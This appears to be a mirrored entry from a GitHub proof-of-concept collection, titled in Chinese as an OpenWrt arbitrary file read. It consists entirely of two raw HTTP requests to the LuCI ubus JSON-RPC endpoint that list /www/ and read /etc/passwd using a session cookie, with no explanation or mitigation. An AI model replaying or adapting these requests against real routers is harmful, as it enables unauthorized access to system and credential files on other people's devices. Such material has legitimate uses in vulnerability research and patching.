mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
1.4 KiB
1.4 KiB
OpenWrt任意文件读取
poc
POST /cgi-bin/luci/admin/ubus?1733734260589 HTTP/1.1
Host: 192.168.121.180
Content-Length: 121
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.121.180
Referer: http://192.168.121.180/cgi-bin/luci/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=305ade5ef36d6ced39e386729e8868b6
Connection: close
[{"jsonrpc":"2.0","id":0,"method":"call","params":["305ade5ef36d6ced39e386729e8868b6","file","list",{"path":"/www/"}]}]
POST /cgi-bin/luci/admin/ubus?1733734260589 HTTP/1.1
Host: 192.168.121.180
Content-Length: 127
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.121.180
Referer: http://192.168.121.180/cgi-bin/luci/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=305ade5ef36d6ced39e386729e8868b6
Connection: close
[{"jsonrpc":"2.0","id":0,"method":"call","params":["305ade5ef36d6ced39e386729e8868b6","file","read",{"path":"/etc/passwd"}]}]